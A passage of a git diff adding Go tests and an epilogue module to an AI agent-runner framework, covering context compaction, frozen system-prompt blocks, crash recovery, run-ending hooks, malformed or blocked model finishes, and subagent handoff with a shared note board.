&event.InputReceived{Text: "q1", Source: "cli"}}, + {event.TypeTurnStarted, &event.TurnStarted{Turn: 1}}, + {event.TypeAssistantMessage, &event.AssistantMessage{Turn: 1, + Message: provider.Message{Role: provider.RoleAssistant, + Parts: []provider.Part{{Kind: provider.PartText, Text: "a1"}}}}}, + {event.TypeContextCompacted, &event.ContextCompacted{UptoTurn: 1, Summary: "sum1"}}, + {event.TypeTurnStarted, &event.TurnStarted{Turn: 2}}, + {event.TypeInputReceived, &event.InputReceived{Text: "q2", Source: "cli"}}, + {event.TypeAssistantMessage, &event.AssistantMessage{Turn: 2, + Message: provider.Message{Role: provider.RoleAssistant, + Parts: []provider.Part{{Kind: provider.PartText, Text: "a2"}}}}}, + } + + // Full fold. + full := state.New() + for _, e := range events { + full = mustApply(t, full, e.typ, e.payload) + } + + // Cut at every seq, including right after the ContextCompacted, and fold + // prefix→snapshot→tail. Each must equal the full fold. + for cut := 1; cut <= len(events); cut++ { + mid := state.New() + for _, e := range events[:cut] { + mid = mustApply(t, mid, e.typ, e.payload) + } + // mid stands in for a snapshot; continue with the tail. + resumed := mid + for _, e := range events[cut:] { + resumed = mustApply(t, resumed, e.typ, e.payload) + } + statetest.AssertFoldEqual(t, resumed, full) + } +} + +// S4.5 end-to-end: with a low CompactAtTokens threshold and a bulky first +// turn, the loop compacts at the turn boundary — a ContextCompacted is +// journaled and turn 2's assembled request carries the summary, not the +// bulky original text. +func TestCompactionTriggeredInLoop(t *testing.T) { + big := strings.Repeat("verbose reasoning that inflates the context. ", 200) // ~9KB + // Turn 1 emits a bulky answer AND a tool call, so the loop advances to a + // turn-2 boundary (the compaction point) instead of ending. Step 2 is the + // summarizer call; step 3 is turn 2's LLM call, which sees the summary. + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: big}, + {ToolCall: &scripted.ToolCallEvent{Name: "bash", Args: map[string]any{"command": "echo hi"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "concise summary of it all"}, {Finish: "end_turn"}}}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = es.Close() }) + + cap := &capturingProvider{inner: scripted.New(fix)} + l := &Loop{ + Spec: &AgentSpec{ + Name: "compact", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 100, CompactAtTokens: 500}, + Tools: []string{"bash"}, + MaxTurns: 3, + }, + Provider: cap, + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)), + SessionID: "compact-sess", + } + if _, err := l.Run(context.Background(), "please elaborate at length"); err != nil { + t.Fatal(err) + } + + events, err := store.ReadEvents(es.Dir()) + if err != nil { + t.Fatal(err) + } + var compacted *event.ContextCompacted + for _, e := range events { + if e.Type == event.TypeContextCompacted { + dec, derr := event.DecodePayload(e) + if derr != nil { + t.Fatal(derr) + } + compacted = dec.(*event.ContextCompacted) + } + } + if compacted == nil { + t.Fatal("expected a ContextCompacted event to be journaled") + } + if !strings.Contains(compacted.Summary, "concise summary") { + t.Errorf("summary = %q", compacted.Summary) + } + + // Three provider calls: turn-1 LLM, the summarizer, turn-2 LLM. The + // turn-2 request must carry the summary and NOT the bulky turn-1 text. + if len(cap.requests) != 3 { + t.Fatalf("provider calls = %d, want 3 (turn1, compact, turn2)", len(cap.requests)) + } + turn2 := cap.requests[2] + var seenSummary, seenBig bool + for _, m := range turn2.Messages { + for _, p := range m.Parts { + if strings.Contains(p.Text, "concise summary") { + seenSummary = true + } + if strings.Contains(p.Text, "verbose reasoning that inflates") { + seenBig = true + } + } + } + if !seenSummary { + t.Errorf("turn-2 request missing the summary: %+v", turn2.Messages) + } + if seenBig { + t.Errorf("turn-2 request still carries the pre-compaction bulk") + } +} diff --git a/internal/agent/context_blocks_test.go b/internal/agent/context_blocks_test.go new file mode 100644 index 0000000..fda651d --- /dev/null +++ b/internal/agent/context_blocks_test.go @@ -0,0 +1,112 @@ +package agent + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// S5.2: the system prompt lays out env → memory → skills → spec prompt → +// mode suffix, in that fixed order. +func TestAssembleSystemOrder(t *testing.T) { + run := state.Run{ + Env: "\ncwd: /w\ndate: 2026-07-04\n", + Memory: "\nrules\n", + Skills: "\n- s: d (p)\n", + } + sys := assembleSystem(run, "be precise", "plan") + order := []string{"", "", "", "be precise", "plan"} + last := -1 + for _, marker := range order { + i := strings.Index(sys, marker) + if i < 0 { + t.Fatalf("system missing %q:\n%s", marker, sys) + } + if i < last { + t.Fatalf("%q out of order:\n%s", marker, sys) + } + last = i + } +} + +// S5.2 e2e: a workspace with a CLAUDE.md and a skill gets both frozen into +// RunStarted and injected into the request prefix; the skill BODY stays out +// (on-demand loading), and editing the files mid-run does not change the +// prefix (frozen at session start). +func TestContextBlocksFrozenIntoRun(t *testing.T) { + root := t.TempDir() + if err := os.WriteFile(filepath.Join(root, "CLAUDE.md"), []byte("always use tabs"), 0o644); err != nil { + t.Fatal(err) + } + skillDir := filepath.Join(root, ".claude", "skills", "deploy") + if err := os.MkdirAll(skillDir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(skillDir, "SKILL.md"), + []byte("---\nname: deploy\ndescription: ship it\n---\nSECRET BODY STEPS\n"), 0o644); err != nil { + t.Fatal(err) + } + + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + // A tool call forces a second turn, whose request must carry the + // SAME prefix even though the files change in between (frozen). + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "bash", + Args: map[string]any{"command": "echo 'always use spaces' > CLAUDE.md"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = es.Close() }) + cap := &capturingProvider{inner: scripted.New(fix)} + l := &Loop{ + Spec: &AgentSpec{Name: "ctx", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 100}, + Tools: []string{"bash"}, MaxTurns: 3}, + Provider: cap, + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)), + SessionID: "ctx-sess", + } + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + + if len(cap.requests) != 2 { + t.Fatalf("requests = %d", len(cap.requests)) + } + sys := cap.requests[0].System + if !strings.Contains(sys, "always use tabs") { + t.Errorf("memory missing from prefix:\n%s", sys) + } + if !strings.Contains(sys, "deploy: ship it") { + t.Errorf("skills directory missing from prefix:\n%s", sys) + } + if strings.Contains(sys, "SECRET BODY STEPS") { + t.Errorf("skill body leaked into the prefix:\n%s", sys) + } + // Frozen: turn 2's prefix is byte-identical despite the mid-run edit. + if cap.requests[1].System != sys { + t.Errorf("prefix drifted after a mid-run memory edit:\n t1: %q\n t2: %q", + sys, cap.requests[1].System) + } +} diff --git a/internal/agent/effect_indoubt_test.go b/internal/agent/effect_indoubt_test.go new file mode 100644 index 0000000..e778bdd --- /dev/null +++ b/internal/agent/effect_indoubt_test.go @@ -0,0 +1,146 @@ +package agent + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// hookishGate declares side effects (the 3.8 hook gate shape). +type hookishGate struct{} + +func (hookishGate) Name() string { return "hooks" } +func (hookishGate) Check(context.Context, pipeline.Effect) pipeline.Decision { return pipeline.Allow } +func (hookishGate) SideEffecting() bool { return true } + +// pureGate has no side effects. +type pureGate struct{} + +func (pureGate) Name() string { return "permission" } +func (pureGate) Check(context.Context, pipeline.Effect) pipeline.Decision { return pipeline.Allow } + +func effectFixture(kind string) scripted.Fixture { + turn1 := scripted.Step{Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", Args: map[string]any{"command": "true"}}}, + {Finish: "tool_use"}, + }} + turn2 := scripted.Step{Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}} + if kind == "turn2" { + return scripted.Fixture{Steps: []scripted.Step{turn2}} + } + return scripted.Fixture{Steps: []scripted.Step{turn1, turn2}} +} + +func effectCrashLoop(sessDir, root string, gates []pipeline.Gate, fix scripted.Fixture) (*Loop, error) { + es, err := store.OpenEventStore(sessDir) + if err != nil { + return nil, err + } + ws, err := workspace.New(root) + if err != nil { + return nil, err + } + return &Loop{ + Spec: &AgentSpec{Name: "eff", Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 50}, + SystemPrompt: "s", Tools: []string{"bash"}, MaxTurns: 5}, + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "eff-crash", + Pipeline: &pipeline.Pipeline{Gates: gates}, + }, nil +} + +// Crash between gates and resolution. With a side-effecting gate in the +// pipeline, resume surfaces in-doubt (hooks may have run); with only pure +// gates, resume silently re-adjudicates and finishes. +func TestEffectAdjudicationCrashWindow(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + gates := []pipeline.Gate{pureGate{}} + if os.Getenv("CRASH_GATES") == "hooks" { + gates = []pipeline.Gate{hookishGate{}} + } + l, err := effectCrashLoop(os.Getenv("CRASH_SESS_DIR"), os.Getenv("CRASH_WS"), gates, effectFixture("full")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + _, _ = l.Run(context.Background(), "run true") + fmt.Println("UNREACHABLE: point did not fire") + os.Exit(0) + } + + for _, tc := range []struct { + name, gates string + wantInDoubt bool + }{ + {"side-effecting-gates-surface", "hooks", true}, + {"pure-gates-readjudicate", "pure", false}, + } { + t.Run(tc.name, func(t *testing.T) { + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + root := filepath.Join(base, "ws") + if err := os.Mkdir(root, 0o755); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(os.Args[0], "-test.run=TestEffectAdjudicationCrashWindow") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", + "CRASH_SESS_DIR="+sessDir, + "CRASH_WS="+root, + "CRASH_GATES="+tc.gates, + // Hit 2: hit 1 is the llm effect's window, hit 2 the tool's. + crash.EnvVar+"=point:"+crash.PointBetweenGateAndResolved+":2", + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s", err, out) + } + + gates := []pipeline.Gate{pureGate{}} + if tc.gates == "hooks" { + gates = []pipeline.Gate{hookishGate{}} + } + // Turn 1's assistant message is already journaled: resume only + // needs the remaining turn. + l, err := effectCrashLoop(sessDir, root, gates, effectFixture("turn2")) + if err != nil { + t.Fatal(err) + } + defer func() { _ = l.Store.Close() }() + res, err := l.Resume(context.Background()) + + if tc.wantInDoubt { + var inDoubt *InDoubtError + if !errors.As(err, &inDoubt) { + t.Fatalf("err = %v, want InDoubtError", err) + } + if len(inDoubt.Effects) != 1 || !strings.Contains(err.Error(), "mid-adjudication") { + t.Fatalf("in-doubt = %+v (%v)", inDoubt.Effects, err) + } + return + } + if err != nil { + t.Fatalf("pure-gate resume: %v", err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + }) + } +} diff --git a/internal/agent/epilogue.go b/internal/agent/epilogue.go new file mode 100644 index 0000000..b16bc02 --- /dev/null +++ b/internal/agent/epilogue.go @@ -0,0 +1,130 @@ +package agent + +import ( + "context" + "fmt" + "os" + "sort" + "strings" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/redact" +) + +// epilogueHook is one slot in the fixed run-ending sequence (standing +// hook 2). Later stages replace slot BODIES — the order never changes, +// and new end-of-run behavior MUST land in a slot, not around it. A slot +// may REWRITE the ending reason (the outputs contract downgrades a +// graceful ending to "contract_violation") but never reorders siblings. +type epilogueHook struct { + name string + run func(ctx context.Context, l *Loop, ds *driveState, appendE AppendFunc, reason *string) error +} + +// epilogueSequence: quiesce → auto-publish → barrier → (terminal event). +// - quiesce: background tasks settle or cancel per on_run_end before the +// terminal event (S6.1 填实 — the log never ends with tasks in flight). +// - auto_publish: publish the spec's declared outputs and check the +// deliverable contract (S5.6). +// - barrier: the S7 run-end snapshot barrier slot, reserved no-op. +// +// S3.7c's LimitExceeded farewell message hooks in as a quiesce-slot +// predecessor per PLAN (挂进此序列). +var epilogueSequence = []epilogueHook{ + {name: "quiesce", run: quiesceTasks}, + {name: "auto_publish", run: autoPublishOutputs}, + {name: "barrier", run: noopEpilogueHook}, +} + +func noopEpilogueHook(context.Context, *Loop, *driveState, AppendFunc, *string) error { + return nil +} + +// autoPublishOutputs fills the auto-publish slot (S5.6): on a GRACEFUL +// ending, every spec-declared output that was not explicitly published +// during the run is auto-published from its workspace file; a required +// output that still cannot be satisfied downgrades the ending to +// "contract_violation" — the deliverable contract is a hard check, never a +// silent success. Non-graceful endings (error/canceled/handoff/blocked) +// skip the slot: a dying or transferred run owes no deliverables. +func autoPublishOutputs(_ context.Context, l *Loop, ds *driveState, + appendE AppendFunc, reason *string) error { + + if len(l.Spec.Outputs) == 0 { + return nil + } + if *reason != "completed" && *reason != "max_turns" { + return nil + } + var missing []string + for _, out := range l.Spec.Outputs { + if ds.s.Run.Published[out.Name] > 0 { + continue // explicitly published during the run — satisfied + } + if out.Path != "" && l.Exec != nil && l.Exec.WS != nil && l.Artifacts != nil { + if content, ok := readWorkspaceFile(l, out.Path); ok { + // Same redaction-before-persist as publish_artifact (S5). + content = []byte(redact.FromEnv().String(string(content))) + v, err := l.Artifacts.Publish(out.Name, content) + if err != nil { + return err // disk failure is a harness error + } + crash.Point(crash.PointAfterBlobBeforeEvent) + if _, err := appendE(event.TypeArtifactPublished, &event.ArtifactPublished{ + Stream: v.Stream, Version: v.Version, Ref: v.Ref, Bytes: v.Bytes, + Source: "epilogue", + }); err != nil { + return err + } + continue + } + } + if out.Required { + missing = append(missing, out.Name) + } + } + if len(missing) > 0 { + sort.Strings(missing) + *reason = "contract_violation" + l.emit(protocol.Event{Kind: protocol.KindError, + Text: fmt.Sprintf("outputs contract violated: missing required %s", + strings.Join(missing, ", "))}) + } + return nil +} + +// readWorkspaceFile resolves a declared output path inside the workspace. +func readWorkspaceFile(l *Loop, path string) ([]byte, bool) { + resolved, err := l.Exec.WS.Resolve(path) + if err != nil { + return nil, false + } + content, err := os.ReadFile(resolved) + if err != nil { + return nil, false + } + return content, true +} + +// runEpilogue drives every run ending: the fixed hook sequence, then the +// terminal RunEnded fact. bestEffort (abort paths) presses on through hook +// and journal errors so a dying run still leaves a terminal marker if it +// possibly can. +func (l *Loop) runEpilogue(ctx context.Context, ds *driveState, appendE AppendFunc, + reason string, turns int, bestEffort bool) (RunResult, error) { + + for _, h := range epilogueSequence { + if err := h.run(ctx, l, ds, appendE, &reason); err != nil && !bestEffort { + return RunResult{}, err + } + } + crash.Point(crash.PointBeforeRunEnd) + if _, err := appendE(event.TypeRunEnded, &event.RunEnded{ + Reason: reason, Turns: turns, Usage: ds.s.Run.Usage, + }); err != nil && !bestEffort { + return RunResult{}, err + } + return RunResult{Reason: reason, Turns: turns, Usage: ds.s.Run.Usage}, nil +} diff --git a/internal/agent/epilogue_test.go b/internal/agent/epilogue_test.go new file mode 100644 index 0000000..a350f14 --- /dev/null +++ b/internal/agent/epilogue_test.go @@ -0,0 +1,102 @@ +package agent + +import ( + "context" + "errors" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/state" +) + +func instrumentEpilogue(t *testing.T, order *[]string, failAt string) { + t.Helper() + saved := make([]epilogueHook, len(epilogueSequence)) + copy(saved, epilogueSequence) + t.Cleanup(func() { copy(epilogueSequence, saved) }) + for i := range epilogueSequence { + name := epilogueSequence[i].name + epilogueSequence[i].run = func(context.Context, *Loop, *driveState, AppendFunc, *string) error { + *order = append(*order, name) + if name == failAt { + return errors.New(name + " exploded") + } + return nil + } + } +} + +func foldingAppend(m *memAppend, ds *driveState) AppendFunc { + return func(typ string, payload any) (event.Envelope, error) { + env, err := m.append(typ, payload) + if err != nil { + return env, err + } + ds.s, err = state.Apply(ds.s, env) + return env, err + } +} + +// The sequence is fixed: quiesce → auto_publish → barrier → run_ended. +func TestEpilogueSequenceOrder(t *testing.T) { + var order []string + instrumentEpilogue(t, &order, "") + m := &memAppend{} + ds := &driveState{s: state.New()} + + res, err := (&Loop{Spec: &AgentSpec{}}).runEpilogue(context.Background(), ds, foldingAppend(m, ds), "completed", 3, false) + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 3 { + t.Errorf("res = %+v", res) + } + want := []string{"quiesce", "auto_publish", "barrier"} + if !equal(order, want) { + t.Fatalf("hook order = %v, want %v", order, want) + } + if types := m.types(); !equal(types, []string{"run_ended"}) { + t.Fatalf("events = %v", types) + } + if ds.s.Run.Status != state.StatusEnded { + t.Errorf("fold status = %q", ds.s.Run.Status) + } +} + +// A hook error aborts a normal ending before the terminal event… +func TestEpilogueHookErrorAbortsNormalEnding(t *testing.T) { + var order []string + instrumentEpilogue(t, &order, "auto_publish") + m := &memAppend{} + ds := &driveState{s: state.New()} + + _, err := (&Loop{Spec: &AgentSpec{}}).runEpilogue(context.Background(), ds, foldingAppend(m, ds), "completed", 1, false) + if err == nil || !equal(order, []string{"quiesce", "auto_publish"}) { + t.Fatalf("err = %v, order = %v", err, order) + } + if len(m.events) != 0 { + t.Fatalf("terminal event written despite hook failure: %v", m.types()) + } +} + +// …but a best-effort (abort-path) ending presses on and still journals. +func TestEpilogueBestEffortPressesOn(t *testing.T) { + var order []string + instrumentEpilogue(t, &order, "quiesce") + m := &memAppend{} + ds := &driveState{s: state.New()} + + res, err := (&Loop{Spec: &AgentSpec{}}).runEpilogue(context.Background(), ds, foldingAppend(m, ds), "error", 2, true) + if err != nil { + t.Fatal(err) + } + if res.Reason != "error" { + t.Errorf("res = %+v", res) + } + if !equal(order, []string{"quiesce", "auto_publish", "barrier"}) { + t.Fatalf("order = %v", order) + } + if types := m.types(); !equal(types, []string{"run_ended"}) { + t.Fatalf("events = %v", types) + } +} diff --git a/internal/agent/finish_test.go b/internal/agent/finish_test.go new file mode 100644 index 0000000..f8f6f11 --- /dev/null +++ b/internal/agent/finish_test.go @@ -0,0 +1,130 @@ +package agent + +import ( + "context" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" +) + +// countKind counts emitted protocol events of one kind (reuses the shared +// captureSink from stream_test.go). +func countKind(sink *captureSink, k protocol.Kind) int { + n := 0 + for _, s := range sink.kinds() { + if s == string(k) { + n++ + } + } + return n +} + +func countEvents(t *testing.T, dir, typ string) int { + t.Helper() + events, err := store.ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + n := 0 + for _, e := range events { + if e.Type == typ { + n++ + } + } + return n +} + +// S4.6: a malformed_tool_call finish records the fact and retries the SAME +// turn; a subsequent clean finish completes the run normally. +func TestMalformedToolCallRetriesThenSucceeds(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "calling..."}, {Finish: "malformed_tool_call"}}}, + {Respond: []scripted.Event{{Text: "recovered"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + res, err := l.Run(context.Background(), "go") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v, want completed after retry", res) + } + if n := countEvents(t, l.Store.Dir(), event.TypeMalformedToolCall); n != 1 { + t.Errorf("malformed_tool_call events = %d, want 1", n) + } +} + +// S4.6: consecutive malformed finishes past the retry bound end the run with +// a user-visible error, not an infinite loop. +func TestMalformedToolCallExhaustionErrors(t *testing.T) { + malformed := scripted.Step{Respond: []scripted.Event{{Text: "bad"}, {Finish: "malformed_tool_call"}}} + fix := scripted.Fixture{Steps: []scripted.Step{malformed, malformed, malformed}} + l := testLoop(t, fix, t.TempDir()) + sink := &captureSink{} + l.Out = sink + + res, err := l.Run(context.Background(), "go") + if err != nil { + t.Fatal(err) + } + if res.Reason != "malformed_tool_call" { + t.Fatalf("res = %+v, want reason malformed_tool_call", res) + } + // maxMalformedRetries = 2 → attempts 1,2,3 all malformed, then escalate. + if n := countEvents(t, l.Store.Dir(), event.TypeMalformedToolCall); n != 3 { + t.Errorf("malformed_tool_call events = %d, want 3", n) + } + if countKind(sink, protocol.KindError) != 1 { + t.Errorf("expected exactly one user-visible error event") + } + // The run ended: a run_ended fact terminates the log. + events, _ := store.ReadEvents(l.Store.Dir()) + if last := events[len(events)-1]; last.Type != event.TypeRunEnded { + t.Errorf("last event = %s, want run_ended", last.Type) + } +} + +// S4.6: a blocked/safety finish surfaces a user-visible error and ends the +// run (reason "blocked"), preserving any assistant text. +func TestBlockedFinishEndsRun(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "I cannot help with that"}, {Finish: "blocked"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + sink := &captureSink{} + l.Out = sink + + res, err := l.Run(context.Background(), "do something disallowed") + if err != nil { + t.Fatal(err) + } + if res.Reason != "blocked" { + t.Fatalf("res = %+v, want blocked", res) + } + if countKind(sink, protocol.KindError) != 1 { + t.Errorf("expected a user-visible error event") + } + // The assistant text was preserved as a durable message. + if countKind(sink, protocol.KindMessage) != 1 { + t.Errorf("assistant text should still be surfaced before the error") + } +} + +// S4.6: an empty candidate (no text, no tool calls) ends the run cleanly +// instead of spinning. +func TestEmptyCandidateEndsCleanly(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + res, err := l.Run(context.Background(), "say nothing") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 1 { + t.Fatalf("res = %+v, want a clean single-turn completion", res) + } +} diff --git a/internal/agent/handoff_test.go b/internal/agent/handoff_test.go new file mode 100644 index 0000000..b603300 --- /dev/null +++ b/internal/agent/handoff_test.go @@ -0,0 +1,223 @@ +package agent + +import ( + "context" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// S5.4 handoff: control transfers to the successor (a fresh child run under +// the spawn discipline) and the CALLER's run ends with reason "handoff" — +// the parent never acts again. +func TestHandoffEndsParentRun(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + // Parent turn 1: hand off. NOTE: no further parent steps — the run + // must end without another LLM call. + {Respond: []scripted.Event{ + {Text: "this needs the specialist"}, + {ToolCall: &scripted.ToolCallEvent{CallID: "h1", Name: "handoff_agent", + Args: map[string]any{"agent": "summarizer", "task": "finish the report"}}}, + {Usage: &scripted.UsageEvent{InputTokens: 30, OutputTokens: 10}}, + {Finish: "tool_use"}, + }}, + // Successor's run. + {Respond: []scripted.Event{ + {Text: "FINAL REPORT: complete"}, + {Usage: &scripted.UsageEvent{InputTokens: 20, OutputTokens: 5}}, + {Finish: "end_turn"}, + }}, + }} + l, cap := spawnLoop(t, fix, t.TempDir()) + + res, err := l.Run(context.Background(), "do the work") + if err != nil { + t.Fatal(err) + } + if res.Reason != "handoff" || res.Turns != 1 { + t.Fatalf("res = %+v, want reason handoff after one turn", res) + } + // Every fixture step consumed: the successor ran, the parent did NOT + // take another turn. + if err := cap.inner.(interface{ Done() error }).Done(); err != nil { + t.Errorf("fixture: %v", err) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + // Terminal fact: run_ended{handoff}; the successor is journaled through + // the same spawn facts (it IS a child run in the tree). + last := events[len(events)-1] + if last.Type != event.TypeRunEnded || !strings.Contains(string(last.Payload), "handoff") { + t.Errorf("last event = %s %s", last.Type, last.Payload) + } + var completed *event.SubagentCompleted + for _, e := range events { + if e.Type == event.TypeSubagentCompleted { + dec, _ := event.DecodePayload(e) + completed = dec.(*event.SubagentCompleted) + } + } + if completed == nil || completed.Agent != "summarizer" || completed.Reason != "completed" { + t.Fatalf("subagent_completed = %+v", completed) + } + // The successor's usage settled into the (now ended) parent accounting. + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if got := fold.Run.Usage.InputTokens; got != 30+20 { + t.Errorf("settled input = %d, want 50 (parent 30 + successor 20)", got) + } + // The successor's own journal holds its run. + childEvents, err := store.ReadEvents(filepath.Join(l.Store.Dir(), "sub", "h1-a1")) + if err != nil { + t.Fatal(err) + } + childFold, err := state.Fold(childEvents) + if err != nil { + t.Fatal(err) + } + if childFold.Run.Status != state.StatusEnded || childFold.Run.Reason != "completed" { + t.Errorf("successor fold = %+v", childFold.Run) + } +} + +// S5.4: a failed handoff target is a model-visible error and the run +// CONTINUES — control only transfers on success. +func TestHandoffFailureContinuesRun(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "h1", Name: "handoff_agent", + Args: map[string]any{"agent": "nobody", "task": "anything"}}}, + {Finish: "tool_use"}, + }}, + // The parent reacts to the error and finishes normally. + {Respond: []scripted.Event{{Text: "fine, doing it myself"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + res, err := l.Run(context.Background(), "go") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v, want a normal completion after the failed handoff", res) + } +} + +// S5.4 blackboard: notes published by the parent are visible to a child +// (and vice versa), reads land durably in each reader's own journal, and +// the tools are advertised across the tree. +func TestBlackboardCollaboration(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + // Parent turn 1: publish a note. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "p1", Name: "publish_note", + Args: map[string]any{"topic": "plan", "text": "focus on the API layer"}}}, + {Finish: "tool_use"}, + }}, + // Parent turn 2: spawn the child. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "read the plan and reply"}}}, + {Finish: "tool_use"}, + }}, + // Child turn 1: read the notes, then publish its own. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "read_notes", + Args: map[string]any{"topic": "plan"}}}, + {ToolCall: &scripted.ToolCallEvent{CallID: "c2", Name: "publish_note", + Args: map[string]any{"topic": "plan", "text": "ack: API layer it is"}}}, + {Finish: "tool_use"}, + }}, + // Child turn 2: done. + {Respond: []scripted.Event{{Text: "acknowledged"}, {Finish: "end_turn"}}}, + // Parent turn 3: read the topic back — sees both notes. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "p2", Name: "read_notes", + Args: map[string]any{"topic": "plan"}}}, + {Finish: "tool_use"}, + }}, + // Parent turn 4: done. + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l, cap := spawnLoop(t, fix, t.TempDir()) + + res, err := l.Run(context.Background(), "coordinate") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + + // Blackboard tools were advertised at the root. + var names []string + for _, td := range cap.requests[0].Tools { + names = append(names, td.Name) + } + joined := strings.Join(names, ",") + if !strings.Contains(joined, "publish_note") || !strings.Contains(joined, "read_notes") { + t.Errorf("blackboard tools not advertised: %v", names) + } + + // The child's journaled read saw the parent's note (durable influence). + childEvents, err := store.ReadEvents(filepath.Join(l.Store.Dir(), "sub", "s1-a1")) + if err != nil { + t.Fatal(err) + } + childFold, err := state.Fold(childEvents) + if err != nil { + t.Fatal(err) + } + c1 := childFold.Conversation.ToolResults["c1"] + if c1.IsError || !strings.Contains(string(c1.Result), "focus on the API layer") { + t.Errorf("child read = %+v, want the parent's note", c1) + } + + // The parent's read-back saw both notes, in publish order, with authors. + fold, err := state.Fold(func() []event.Envelope { + es, _ := store.ReadEvents(l.Store.Dir()) + return es + }()) + if err != nil { + t.Fatal(err) + } + p2 := fold.Conversation.ToolResults["p2"] + body := string(p2.Result) + if p2.IsError || !strings.Contains(body, "focus on the API layer") || + !strings.Contains(body, "ack: API layer it is") { + t.Errorf("parent read-back = %s", body) + } + if !strings.Contains(body, `"from":"lead"`) || !strings.Contains(body, `"from":"summarizer"`) { + t.Errorf("authors missing: %s", body) + } + if 